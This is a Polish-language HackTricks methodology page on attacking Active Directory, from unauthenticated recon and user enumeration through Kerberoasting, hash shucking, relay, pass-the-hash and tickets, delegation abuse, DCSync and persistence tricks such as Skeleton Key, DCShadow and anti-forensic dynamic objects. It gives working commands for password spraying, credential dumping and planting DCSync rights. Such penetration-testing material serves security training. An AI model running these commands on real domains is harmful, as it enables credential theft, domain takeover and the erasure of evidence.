Metodologia Active Directory
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowy przegląd
Active Directory pełni rolę technologii podstawowej, umożliwiając administratorom sieci efektywne tworzenie i zarządzanie domenami, użytkownikami oraz obiektami w sieci. Został zaprojektowany z myślą o skalowalności, ułatwiając organizację dużej liczby użytkowników w zarządzalne grupy i podgrupy, jednocześnie kontrolując prawa dostępu na różnych poziomach.
Struktura Active Directory składa się z trzech głównych warstw: domen, drzew i lasów. Domena obejmuje zbiór obiektów, takich jak użytkownicy czy urządzenia, korzystających ze wspólnej bazy danych. Drzewa to grupy domen powiązane wspólną strukturą, a las reprezentuje kolekcję wielu drzew połączonych przez relacje zaufania, tworząc najwyższy poziom struktury organizacyjnej. Na każdym z tych poziomów można określić konkretne uprawnienia i prawa komunikacji.
Kluczowe pojęcia w Active Directory obejmują:
- Katalog (Directory) – Zawiera wszystkie informacje dotyczące obiektów Active Directory.
- Obiekt (Object) – Oznacza byty w katalogu, w tym użytkowników, grupy lub udostępnione foldery.
- Domena (Domain) – Służy jako kontener dla obiektów katalogu; w lasie może istnieć wiele domen, z których każda utrzymuje własny zbiór obiektów.
- Drzewo (Tree) – Grupa domen dzieląca wspólną domenę root.
- Las (Forest) – Najwyższy poziom struktury organizacyjnej w Active Directory, składający się z kilku drzew powiązanych relacjami zaufania.
Active Directory Domain Services (AD DS) obejmuje zestaw usług krytycznych dla scentralizowanego zarządzania i komunikacji w sieci. Usługi te obejmują:
- Domain Services – Centralizuje przechowywanie danych i zarządza interakcjami między użytkownikami a domenami, w tym funkcjami uwierzytelniania i wyszukiwania.
- Certificate Services – Nadzoruje tworzenie, dystrybucję i zarządzanie bezpiecznymi certyfikatami cyfrowymi.
- Lightweight Directory Services – Wspiera aplikacje korzystające z katalogu za pomocą protokołu LDAP.
- Directory Federation Services – Zapewnia mechanizmy single-sign-on do uwierzytelniania użytkowników w wielu aplikacjach webowych w jednej sesji.
- Rights Management – Pomaga chronić materiały objęte prawami autorskimi, regulując ich nieautoryzowane rozpowszechnianie i użycie.
- DNS Service – Kluczowy dla rozwiązywania nazw domenowych.
For a more detailed explanation check: TechTerms - Active Directory Definition
Kerberos Authentication
Aby nauczyć się, jak atakować AD, musisz bardzo dobrze zrozumieć proces uwierzytelniania Kerberos.
Read this page if you still don’t know how it works.
Skrócone podsumowanie
Możesz odwiedzić https://wadcoms.github.io/ aby szybko zobaczyć, jakie polecenia możesz uruchomić, aby enumerate/exploit AD.
Warning
Komunikacja Kerberos wymaga pełnej qualifid name (FQDN) do wykonywania akcji. Jeśli spróbujesz uzyskać dostęp do maszyny przez adres IP, zostanie użyty NTLM, a nie kerberos.
Rekonesans Active Directory (Brak poświadczeń/sesji)
Jeśli masz dostęp do środowiska AD, ale nie posiadasz żadnych poświadczeń/sesji, możesz:
- Pentest the network:
- Skanuj sieć, znajdź maszyny i otwarte porty oraz spróbuj wykspiować luki lub wyekstrahować poświadczenia z tych maszyn (na przykład, printers could be very interesting targets).
- Enumeracja DNS może dostarczyć informacji o kluczowych serwerach w domenie, takich jak web, drukarki, udziały, vpn, media itp.
gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt- Rzuć okiem na ogólną Pentesting Methodology aby znaleźć więcej informacji, jak to robić.
- Sprawdź dostęp null i Guest na usługach smb (to nie zadziała na nowoczesnych wersjach Windows):
enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //- Bardziej szczegółowy przewodnik po enumeracji serwera SMB znajdziesz tutaj:
- Enumerate Ldap
nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>- Bardziej szczegółowy przewodnik po enumeracji LDAP znajdziesz tutaj (zwróć szczególną uwagę na anonimowy dostęp):
389, 636, 3268, 3269 - Pentesting LDAP
- Poison the network
- Zbieraj poświadczenia, podszywając się pod usługi przy użyciu Responder (../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Uzyskaj dostęp do hosta przez abusing the relay attack
- Zbieraj poświadczenia, eksponując fałszywe usługi UPnP z evil-S (../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)SDP
- OSINT:
- Wyodrębnij nazwy użytkowników/imiona z dokumentów wewnętrznych, mediów społecznościowych, usług (głównie web) w środowiskach domenowych oraz z zasobów publicznie dostępnych.
- Jeśli znajdziesz pełne imiona i nazwiska pracowników firmy, możesz spróbować różnych konwencji tworzenia nazw użytkowników w AD (read this). Najczęstsze konwencje to: NameSurname, Name.Surname, NamSur (3 litery z każdego), Nam.Sur, NSurname, N.Surname, SurnameName, Surname.Name, SurnameN, Surname.N, 3 losowe litery i 3 losowe cyfry (abc123).
- Narzędzia:
- w0Tx/generate-ad-username
- urbanadventurer/username-anarchy
Enumeracja użytkowników
- Anonymous SMB/LDAP enum: Sprawdź strony pentesting SMB oraz pentesting LDAP.
- Kerbrute enum: Gdy żądany jest nieprawidłowy username, serwer odpowie kodem błędu Kerberos KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN, co pozwala nam stwierdzić, że nazwa użytkownika jest nieprawidłowa. Prawidłowe nazwy użytkowników spowodują albo przesłanie TGT w odpowiedzi AS-REP, albo błąd KRB5KDC_ERR_PREAUTH_REQUIRED, wskazujący, że użytkownik musi wykonać pre-autoryzację.
- No Authentication against MS-NRPC: Używając auth-level = 1 (No authentication) przeciwko interfejsowi MS-NRPC (Netlogon) na kontrolerach domen. Metoda wywołuje funkcję
DsrGetDcNameEx2po związywaniu interfejsu MS-NRPC, aby sprawdzić, czy użytkownik lub komputer istnieje bez jakichkolwiek poświadczeń. Narzędzie NauthNRPC implementuje tego typu enumerację. Badanie można znaleźć tutaj
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN'" <IP>
Nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='<domain>',userdb=/root/Desktop/usernames.txt <IP>
msf> use auxiliary/gather/kerberos_enumusers
crackmapexec smb dominio.es -u '' -p '' --users | awk '{print $4}' | uniq
python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/NauthNRPC
- OWA (Outlook Web Access) Server
Jeżeli znajdziesz taki serwer w sieci, możesz również przeprowadzić na nim enumerację użytkowników. Na przykład możesz użyć narzędzia MailSniper:
ipmo C:\Tools\MailSniper\MailSniper.ps1
# Get info about the domain
Invoke-DomainHarvestOWA -ExchHostname [ip]
# Enumerate valid users from a list of potential usernames
Invoke-UsernameHarvestOWA -ExchHostname [ip] -Domain [domain] -UserList .\possible-usernames.txt -OutFile valid.txt
# Password spraying
Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summer2021
# Get addresses list from the compromised mail
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
Warning
Możesz znaleźć listy nazw użytkowników w this github repo and this one (statistically-likely-usernames).
Jednak powinieneś mieć imiona i nazwiska osób pracujących w firmie z kroku recon, który powinieneś wykonać wcześniej. Mając imię i nazwisko możesz użyć skryptu namemash.py aby wygenerować potencjalne poprawne usernames.
Znając jedną lub kilka usernames
Ok, więc wiesz, że masz już ważny username, ale brak haseł… Spróbuj wtedy:
- ASREPRoast: Jeśli użytkownik nie ma atrybutu DONT_REQ_PREAUTH możesz zażądać wiadomości AS_REP dla tego użytkownika, która będzie zawierać dane zaszyfrowane pochodną hasła tego użytkownika.
- Password Spraying: Spróbuj najczęstszych passwords dla każdego z wykrytych użytkowników — być może któryś używa słabego passworda (pamiętaj o password policy!).
- Zauważ, że możesz też spray OWA servers, aby spróbować uzyskać dostęp do mail servers użytkowników.
Password Spraying / Brute Force
LLMNR/NBT-NS Poisoning
Możesz być w stanie uzyskać pewne challenge hashes, które można złamać, poprzez poisoning niektórych protokołów w sieci:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
NTLM Relay
Jeśli udało Ci się zenumerować Active Directory, będziesz mieć więcej adresów email i lepsze zrozumienie sieci. Możesz być w stanie wymusić NTLM relay attacks aby uzyskać dostęp do AD env.
NetExec workspace-driven recon & relay posture checks
- Użyj
nxcdbworkspaces aby zachować stan AD recon dla danego engagementu:workspace create <name>tworzy per-protocol SQLite DBs w~/.nxc/workspaces/<name>(smb/mssql/winrm/ldap/etc). Przełączaj widoki poleceniemproto smb|mssql|winrmi listuj zebrane sekrety przezcreds. Ręcznie usuń wrażliwe dane po zakończeniu:rm -rf ~/.nxc/workspaces/<name>. - Szybkie wykrywanie podsieci za pomocą
netexec smb <cidr>ujawnia domain, OS build, SMB signing requirements, oraz Null Auth. Podmioty pokazujące(signing:False)są relay-prone, podczas gdy DCs często wymagają signing. - Generuj hostnames in /etc/hosts bezpośrednio z wyjścia NetExec, aby ułatwić targeting:
netexec smb 10.2.10.0/24 --generate-hosts-file hosts
cat hosts /etc/hosts | sponge /etc/hosts
- Gdy SMB relay to the DC is blocked przez signing, nadal sprawdzaj konfigurację LDAP:
netexec ldap <dc>pokazuje(signing:None)/ słabe channel binding. DC z SMB signing required, ale LDAP signing disabled, pozostaje realnym celem relay-to-LDAP do nadużyć takich jak SPN-less RBCD.
Po stronie klienta printer credential leaks → masowa walidacja poświadczeń domeny
- Interfejsy Printer/web UIs czasami embed masked admin passwords in HTML. Przeglądanie source/devtools może ujawnić cleartext (np.
<input value="<password>">), umożliwiając dostęp przez Basic-auth do repozytoriów skanów/drukowania. - Pobrane print jobs mogą zawierać plaintext onboarding docs z per-user passwords. Zachowaj zgodność par podczas testowania:
cat IT_Procedures.txt | grep Username: | cut -d' ' -f2 > usernames
cat IT_Procedures.txt | grep Password: | cut -d' ' -f3 > passwords
netexec smb <dc> -u usernames -p passwords --no-bruteforce --continue-on-success
Steal NTLM Creds
Jeśli możesz dostępować się do innych PC lub share’ów za pomocą null lub guest user, możesz umieścić pliki (np. SCF), które po otwarciu wywołają autentykację NTLM przeciwko Tobie, dzięki czemu możesz wykraść NTLM challenge do złamania:
Hash Shucking & NT-Candidate Attacks
Hash shucking traktuje każdy NT hash, który już posiadasz, jako kandydat na hasło dla innych, wolniejszych formatów, których materiał klucza jest pochodną bezpośrednio z NT hasha. Zamiast brute-forcować długie frazy w ticketach Kerberos RC4, NetNTLM challenge’ach lub cached credentials, podajesz NT hashe do trybów NT-candidate w Hashcat i pozwalasz mu zweryfikować ponowne użycie hasła bez poznania plaintextu. Jest to szczególnie skuteczne po kompromitacji domeny, gdy możesz zebrać tysiące aktualnych i historycznych NT hashy.
Użyj shuckingu gdy:
- Masz NT korpus z DCSync, dumpów SAM/SECURITY lub credential vaults i musisz sprawdzić ponowne użycie w innych domenach/lasach.
- Przechwycisz materiał Kerberos oparty na RC4 (
$krb5tgs$23$,$krb5asrep$23$), odpowiedzi NetNTLM lub blob’y DCC/DCC2. - Chcesz szybko udowodnić reuse dla długich, niełamalnych passphrase’ów i natychmiast pivotować przez Pass-the-Hash.
Technika nie działa przeciwko typom szyfrowania, których klucze nie są NT hashem (np. Kerberos etype 17/18 AES). Jeśli domena wymusza tylko AES, musisz wrócić do zwykłych trybów hasła.
Building an NT hash corpus
- DCSync/NTDS – Użyj
secretsdump.pyz history, aby pobrać jak największy zbiór NT hashy (i ich poprzednie wartości):
secretsdump.py <domain>/<user>@<dc_ip> -just-dc-ntlm -history -user-status -outputfile smoke_dump
grep -i ':::' smoke_dump.ntds | awk -F: '{print $4}' | sort -u > nt_candidates.txt
Wpisy history dramatically poszerzają pulę kandydatów, ponieważ Microsoft może przechowywać do 24 poprzednich hashy na konto. Po więcej metod zbierania sekretów NTDS zobacz:
- Endpoint cache dumps –
nxc smb <ip> -u <local_admin> -p <password> --local-auth --lsa(lub Mimikatzlsadump::sam /patch) ekstraktuje lokalne SAM/SECURITY i cached domain logons (DCC/DCC2). Deduplicate i dopisz te hashe do tego samego plikunt_candidates.txt. - Track metadata – Zachowuj username/domain, które wygenerowały każdy hash (nawet jeśli wordlist zawiera tylko hex). Pasujące hashe od razu mówią, który principal ponownie używa hasła, gdy Hashcat wypisze winning candidate.
- Preferuj kandydatów z tego samego lasu lub z zaufanego lasu; to maksymalizuje szansę overlapu przy shuckingu.
Hashcat NT-candidate modes
| Hash Type | Password Mode | NT-Candidate Mode |
|---|---|---|
| Domain Cached Credentials (DCC) | 1100 | 31500 |
| Domain Cached Credentials 2 (DCC2) | 2100 | 31600 |
| NetNTLMv1 / NetNTLMv1+ESS | 5500 | 27000 |
| NetNTLMv2 | 5600 | 27100 |
| Kerberos 5 etype 23 AS-REQ Pre-Auth | 7500 | N/A |
| Kerberos 5 etype 23 TGS-REP (Kerberoast) | 13100 | 35300 |
| Kerberos 5 etype 23 AS-REP | 18200 | 35400 |
Uwagi:
- NT-candidate inputs muszą pozostać surowymi 32-hex NT hashami. Wyłącz silniki reguł (no
-r, no hybrid modes), ponieważ mangling uszkadza materiał klucza kandydata. - Te tryby nie są z natury szybsze, ale keyspace NTLM (~30,000 MH/s na M3 Max) jest ~100× szybszy niż Kerberos RC4 (~300 MH/s). Testowanie wyselekcjonowanej listy NT jest znacznie tańsze niż eksploracja całej przestrzeni haseł w wolnym formacie.
- Zawsze uruchamiaj najnowszy build Hashcat (
git clone https://github.com/hashcat/hashcat && make install) ponieważ tryby 31500/31600/35300/35400 zostały dodane niedawno. - Obecnie nie ma trybu NT dla AS-REQ Pre-Auth, a AES etypes (19600/19700) wymagają plaintextu, ponieważ ich klucze są pochodną PBKDF2 z UTF-16LE haseł, nie z surowych NT hashy.
Example – Kerberoast RC4 (mode 35300)
- Przechwyć RC4 TGS dla docelowego SPN przy użyciu niskoprzywilejowanego usera (zobacz stronę Kerberoast po szczegóły):
GetUserSPNs.py -dc-ip <dc_ip> -request <domain>/<user> -outputfile roastable_TGS
- Shuckuj ticket używając swojej listy NT:
hashcat -m 35300 roastable_TGS nt_candidates.txt
Hashcat wyprowadza klucz RC4 z każdego NT kandydata i weryfikuje $krb5tgs$23$... blob. Match potwierdza, że konto serwisowe używa jednego z twoich istniejących NT hashy.
- Natychmiast pivotuj przez PtH:
nxc smb <dc_ip> -u roastable -H <matched_nt_hash>
Opcjonalnie możesz później odzyskać plaintext używając hashcat -m 1000 <matched_hash> wordlists/ jeśli zajdzie potrzeba.
Example – Cached credentials (mode 31600)
- Zrzutuj cached logons z kompromitowanej stacji roboczej:
nxc smb <host_ip> -u localadmin -p '<password>' --local-auth --lsa > lsa_dump.txt
- Skopiuj linię DCC2 dla interesującego użytkownika domeny do
dcc2_highpriv.txti shuckuj ją:
hashcat -m 31600 dcc2_highpriv.txt nt_candidates.txt
- Udany match daje NT hash już znany z twojej listy, potwierdzając, że cached user ponownie używa hasła. Użyj go bezpośrednio do PtH (
nxc smb <dc_ip> -u highpriv -H <hash>) lub złam go offline w szybkim NTLM trybie, aby odzyskać string.
Dokładnie ten sam workflow dotyczy NetNTLM challenge-responses (-m 27000/27100) i DCC (-m 31500). Po wykryciu matcha możesz uruchomić relay, SMB/WMI/WinRM PtH, lub ponownie złamać NT hash z maskami/regułami offline.
Enumerating Active Directory WITH credentials/session
Do tej fazy musisz mieć skompromitowane credentials lub sesję prawidłowego konta domenowego. Jeśli masz jakieś ważne credentials lub shell jako domain user, pamiętaj, że wcześniej wymienione opcje wciąż są sposobami na kompromitację innych użytkowników.
Zanim rozpoczniesz authenticated enumeration powinieneś znać problem Kerberos double hop.
Enumeration
Posiadanie skompromitowanego konta to duży krok w kierunku kompromitacji całej domeny, ponieważ będziesz w stanie rozpocząć Active Directory Enumeration:
Odnośnie ASREPRoast możesz teraz znaleźć każdy możliwy podatny user, a odnośnie Password Spraying możesz uzyskać listę wszystkich nazw użytkowników i wypróbować hasło ze skompromitowanego konta, puste hasła oraz nowe obiecujące hasła.
- Możesz użyć CMD to perform a basic recon
- Możesz też użyć powershell for recon, co będzie bardziej stealthy
- Możesz także use powerview aby wyciągnąć bardziej szczegółowe informacje
- Kolejne świetne narzędzie do recon w Active Directory to BloodHound. Nie jest ono zbyt stealthy (w zależności od metod kolekcji), ale jeśli Ci to nie przeszkadza, zdecydowanie warto spróbować. Znajdź gdzie użytkownicy mogą RDP, ścieżki do innych grup, itp.
- Inne zautomatyzowane narzędzia AD do enumeracji to: AD Explorer, ADRecon, Group3r, PingCastle.
- DNS records of the AD ponieważ mogą zawierać interesujące informacje.
- Narzędzie z GUI, którego możesz użyć do enumeracji katalogu to AdExplorer.exe z pakietu SysInternal.
- Możesz też wyszukiwać w LDAP za pomocą ldapsearch aby szukać credentials w polach userPassword & unixUserPassword, lub nawet w Description. por. Password in AD User comment on PayloadsAllTheThings dla innych metod.
- Jeśli używasz Linux, możesz też enumerować domenę używając pywerview.
- Możesz też spróbować zautomatyzowane narzędzia takie jak:
- tomcarver16/ADSearch
- 61106960/adPEAS
- Extracting all domain users
Bardzo łatwo jest uzyskać wszystkie nazwy użytkowników domeny z Windows (net user /domain ,Get-DomainUser lub wmic useraccount get name,sid). W Linux możesz użyć: GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username lub enum4linux -a -u "user" -p "password" <DC IP>
Nawet jeśli ta sekcja Enumeration wygląda krótko, to jest to najważniejsza część całości. Otwórz linki (głównie te do cmd, powershell, powerview i BloodHound), naucz się jak enumerować domenę i ćwicz aż poczujesz się komfortowo. Podczas assessmentu będzie to kluczowy moment, by znaleźć drogę do DA lub zdecydować, że nic więcej nie da się zrobić.
Kerberoast
Kerberoasting polega na pozyskaniu TGS ticketów używanych przez serwisy powiązane z kontami użytkowników i łamaniu ich szyfrowania — które bazuje na hasłach użytkowników — offline.
Więcej na ten temat w:
Remote connexion (RDP, SSH, FTP, Win-RM, etc)
Gdy zdobędziesz jakieś credentials możesz sprawdzić, czy masz dostęp do jakiejkolwiek maszyny. W tym celu możesz użyć CrackMapExec do próbowania łączenia na wielu serwerach przy użyciu różnych protokołów, zgodnie z wynikami port scanu.
Local Privilege Escalation
Jeśli masz skompromitowane credentials lub sesję jako zwykły domain user i masz dostęp tym userem do jakiejkolwiek maszyny w domenie, powinieneś spróbować znaleźć sposób na lokalne eskalowanie uprawnień i zbieranie credentials. Tylko jako lokalny administrator będziesz w stanie zrzucać hashe innych użytkowników z pamięci (LSASS) i lokalnie (SAM).
W tej książce jest osobna strona o local privilege escalation in Windows oraz checklist. Nie zapomnij też użyć WinPEAS.
Current Session Tickets
Jest bardzo mało prawdopodobne, że znajdziesz tickety w bieżącym userze, które dadzą Ci uprawnienia do dostępu do nieoczekiwanych zasobów, ale możesz to sprawdzić:
## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
## Dump the interesting one by luid
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))
NTLM Relay
Jeśli udało ci się zenumerować Active Directory, będziesz miał więcej adresów e-mail i lepsze zrozumienie sieci. Może udać się wymusić NTLM relay attacks.
Looks for Creds in Computer Shares | SMB Shares
Teraz, gdy masz podstawowe poświadczenia, sprawdź, czy możesz znaleźć jakieś interesujące pliki udostępnione w AD. Możesz to robić ręcznie, ale to bardzo nudne, powtarzalne zadanie (szczególnie jeśli znajdziesz setki dokumentów do sprawdzenia).
Przejdź pod ten link, aby poznać narzędzia, które możesz wykorzystać.
Steal NTLM Creds
Jeśli możesz uzyskać dostęp do innych PC lub udziałów, możesz umieścić pliki (np. plik SCF), które po otwarciu spowodują wywołanie uwierzytelnienia NTLM wobec Ciebie, dzięki czemu możesz ukraść NTLM challenge i go złamać:
CVE-2021-1675/CVE-2021-34527 PrintNightmare
Ta podatność pozwalała każdemu uwierzytelnionemu użytkownikowi na przejęcie kontrolera domeny.
Privilege escalation on Active Directory WITH privileged credentials/session
Dla poniższych technik zwykły użytkownik domeny nie wystarczy — potrzebujesz specjalnych uprawnień/poświadczeń, aby przeprowadzić te ataki.
Hash extraction
Miejmy nadzieję, że udało ci się przejąć konto local admin przy użyciu AsRepRoast, Password Spraying, Kerberoast, Responder w tym relaying, EvilSSDP, escalating privileges locally.
Następnie czas zrzucić wszystkie hashe z pamięci i lokalnie.
Przeczytaj tę stronę o różnych sposobach pozyskania hashy.
Pass the Hash
Gdy masz hash użytkownika, możesz go użyć do podszycia się pod niego.
Musisz użyć jakiegoś narzędzia, które wykona uwierzytelnienie NTLM używając tego hasha, lub możesz utworzyć nowy sessionlogon i wstrzyknąć ten hash do LSASS, tak aby przy każdym wykonanym uwierzytelnieniu NTLM ten hash był używany. Opcję tę realizuje mimikatz.
Przeczytaj tę stronę po więcej informacji.
Over Pass the Hash/Pass the Key
Ten atak ma na celu użycie hasha NTLM użytkownika do żądania ticketów Kerberos, jako alternatywę do powszechnego Pass The Hash nad protokołem NTLM. W związku z tym może być szczególnie użyteczny w sieciach, w których protokół NTLM jest wyłączony i dozwolone jest wyłącznie uwierzytelnianie Kerberos.
Over Pass the Hash/Pass the Key
Pass the Ticket
W metodzie ataku Pass The Ticket (PTT) atakujący kradną ticket uwierzytelniający użytkownika zamiast jego hasła lub wartości hash. Ukradziony ticket jest następnie używany do podszywania się pod użytkownika, uzyskując nieautoryzowany dostęp do zasobów i usług w sieci.
Credentials Reuse
Jeśli masz hash lub hasło local administratora, powinieneś spróbować zalogować się lokalnie na innych PC przy jego użyciu.
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
Warning
Zwróć uwagę, że to jest dość hałaśliwe i LAPS to zmiękczy.
MSSQL Abuse & Trusted Links
Jeśli użytkownik ma uprawnienia do dostępu do instancji MSSQL, może użyć ich do wykonywania poleceń na hoście MSSQL (jeśli działa jako SA), wykradać NetNTLM hash lub nawet przeprowadzić relay attack.
Również, jeśli instancja MSSQL jest zaufana (database link) przez inną instancję MSSQL — jeśli użytkownik ma uprawnienia do zaufanej bazy danych, będzie mógł użyć relacji zaufania do wykonywania zapytań także w drugiej instancji. Te zaufania mogą być łańcuchowane i w pewnym momencie użytkownik może znaleźć źle skonfigurowaną bazę danych, gdzie będzie w stanie wykonać polecenia.
Połączenia między bazami działają nawet w ramach forest trusts.
IT asset/deployment platforms abuse
Zewnętrzne pakiety do inwentaryzacji i wdrożeń często ujawniają potężne ścieżki do poświadczeń i wykonywania kodu. Zobacz:
Sccm Management Point Relay Sql Policy Secrets
Unconstrained Delegation
Jeśli znajdziesz dowolny obiekt Computer z atrybutem ADS_UF_TRUSTED_FOR_DELEGATION i masz uprawnienia domenowe na tym komputerze, będziesz w stanie zrzucać TGT z pamięci wszystkich użytkowników, którzy zalogują się na tym komputerze.
Tak więc, jeśli Domain Admin zaloguje się na tym komputerze, będziesz w stanie zrzucić jego TGT i podszyć się pod niego używając Pass the Ticket.
Dzięki constrained delegation możesz nawet automatycznie przejąć Print Server (oby to był DC).
Constrained Delegation
Jeśli użytkownik lub komputer ma przyznane uprawnienia do “Constrained Delegation”, będzie mógł podszywać się pod dowolnego użytkownika, aby uzyskać dostęp do niektórych usług na komputerze.
Następnie, jeśli skomprujesz hash tego użytkownika/komputera, będziesz w stanie podszyć się pod dowolnego użytkownika (nawet domain adminów) w celu dostępu do wybranych usług.
Resourced-based Constrain Delegation
Posiadanie uprawnienia WRITE na obiekcie Active Directory zdalnego komputera umożliwia uzyskanie wykonania kodu z podwyższonymi uprawnieniami:
Resource-based Constrained Delegation
Permissions/ACLs Abuse
Skompromitowany użytkownik może mieć pewne interesujące uprawnienia do niektórych obiektów domenowych, które pozwolą na późniejsze lateral movement/eskalację uprawnień.
Abusing Active Directory ACLs/ACEs
Printer Spooler service abuse
Odkrycie usługi Spool nasłuchującej w domenie może być nadużyte w celu pozyskania nowych poświadczeń i eskalacji uprawnień.
Force NTLM Privileged Authentication
Third party sessions abuse
Jeśli inni użytkownicy dostępają do skompromitowanej maszyny, możliwe jest zbieranie poświadczeń z pamięci a nawet wstrzykiwanie beaconów do ich procesów w celu podszycia się pod nich.
Zwykle użytkownicy łączą się z systemem przez RDP, więc tutaj masz kilka sposobów ataku na sesje RDP osób trzecich:
LAPS
LAPS zapewnia system zarządzania lokalnym hasłem Administratora na komputerach dołączonych do domeny, gwarantując, że jest ono losowe, unikalne i często zmieniane. Te hasła są przechowywane w Active Directory, a dostęp do nich kontrolowany przez ACL tylko dla uprawnionych użytkowników. Mając wystarczające uprawnienia do dostępu do tych haseł, możliwe jest pivotowanie na inne komputery.
Certificate Theft
Zebranie certyfikatów ze skompromitowanej maszyny może być sposobem na eskalację uprawnień w środowisku:
Certificate Templates Abuse
Jeśli skonfigurowane są podatne szablony, można je nadużyć w celu eskalacji uprawnień:
Post-exploitation with high privilege account
Dumping Domain Credentials
Gdy uzyskasz uprawnienia Domain Admin lub jeszcze lepiej Enterprise Admin, możesz zrzucić bazę domeny: ntds.dit.
More information about DCSync attack can be found here.
More information about how to steal the NTDS.dit can be found here
Privesc as Persistence
Niektóre z technik omówionych wcześniej mogą być użyte do utrzymania persistence.
Na przykład możesz:
- Uczynić użytkowników podatnymi na Kerberoast
Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
- Uczynić użytkowników podatnymi na ASREPRoast
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
- Nadać użytkownikowi uprawnienia DCSync
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
Silver Ticket
Atak Silver Ticket tworzy legitymowany Ticket Granting Service (TGS) ticket dla konkretnej usługi używając NTLM hash (na przykład hash konta komputera). Ta metoda służy do uzyskania uprawnień dostępu do usługi.
Golden Ticket
Atak Golden Ticket polega na tym, że napastnik uzyskuje dostęp do NTLM hash konta krbtgt w środowisku Active Directory. Konto to jest szczególne, ponieważ używane jest do podpisywania wszystkich Ticket Granting Tickets (TGTs), które są niezbędne do uwierzytelniania w sieci AD.
Gdy atakujący zdobędzie ten hash, może tworzyć TGTs dla dowolnego konta, które wybierze (atak typu Silver ticket).
Diamond Ticket
Są to bilety podobne do golden ticket, sfałszowane w sposób, który omija popularne mechanizmy wykrywania golden tickets.
Certificates Account Persistence
Posiadanie certyfikatów konta lub możliwość ich zamówienia jest bardzo dobrym sposobem na utrzymanie persistence w koncie użytkownika (nawet jeśli zmieni on hasło):
Certificates Domain Persistence
Używanie certyfikatów umożliwia także utrzymanie wysokich uprawnień w domenie:
AdminSDHolder Group
Obiekt AdminSDHolder w Active Directory zapewnia bezpieczeństwo uprzywilejowanych grup (takich jak Domain Admins i Enterprise Admins) przez stosowanie standardowego Access Control List (ACL) w tych grupach, aby zapobiec nieautoryzowanym zmianom. Jednak ta funkcja może być wykorzystana w ataku; jeśli atakujący zmodyfikuje ACL AdminSDHolder, nadając pełny dostęp zwykłemu użytkownikowi, użytkownik ten uzyska rozległą kontrolę nad wszystkimi uprzywilejowanymi grupami. To zabezpieczenie, mające chronić, może zatem działać odwrotnie, umożliwiając niepożądany dostęp, chyba że jest ściśle monitorowane.
More information about AdminDSHolder Group here.
DSRM Credentials
W każdym Domain Controller (DC) istnieje konto lokalnego administratora. Uzyskując prawa administratora na takim komputerze, można wydobyć hash lokalnego Administratora używając mimikatz. Następnie konieczna jest modyfikacja rejestru, aby umożliwić użycie tego hasła, pozwalając na zdalny dostęp do konta lokalnego Administratora.
ACL Persistence
Możesz przyznać pewne specjalne uprawnienia użytkownikowi nad konkretnymi obiektami domenowymi, które pozwolą użytkownikowi eskalować uprawnienia w przyszłości.
Abusing Active Directory ACLs/ACEs
Security Descriptors
Security descriptors są używane do przechowywania uprawnień, jakie obiekt ma nad innym obiektem. Jeśli możesz dokonać choćby małej zmiany w security descriptorze obiektu, możesz uzyskać bardzo interesujące uprawnienia nad tym obiektem bez potrzeby bycia członkiem uprzywilejowanej grupy.
Dynamic Objects Anti-Forensics / Evasion
Nadużyj pomocniczej klasy dynamicObject, aby tworzyć krótkotrwałe konta/GPO/DNS z entryTTL/msDS-Entry-Time-To-Die; same się usuwają bez tombstonów, wymazując dowody LDAP, pozostawiając jedynie osierocone SIDy, uszkodzone referencje gPLink lub pamiętane odpowiedzi DNS (np. zanieczyszczenie ACE AdminSDHolder lub złośliwe gPCFileSysPath/AD-integrated DNS redirects).
Ad Dynamic Objects Anti Forensics
Skeleton Key
Zmień LSASS w pamięci, aby ustanowić uniwersalne hasło, dające dostęp do wszystkich kont domeny.
Custom SSP
Learn what is a SSP (Security Support Provider) here.
Możesz stworzyć własne SSP, aby przechwytywać w plain text poświadczenia używane do dostępu do maszyny.
DCShadow
Rejestruje nowy Domain Controller w AD i używa go do wypychania atrybutów (SIDHistory, SPNs…) na określone obiekty bez pozostawiania logów dotyczących modyfikacji. Potrzebujesz uprawnień DA i być wewnątrz root domain.
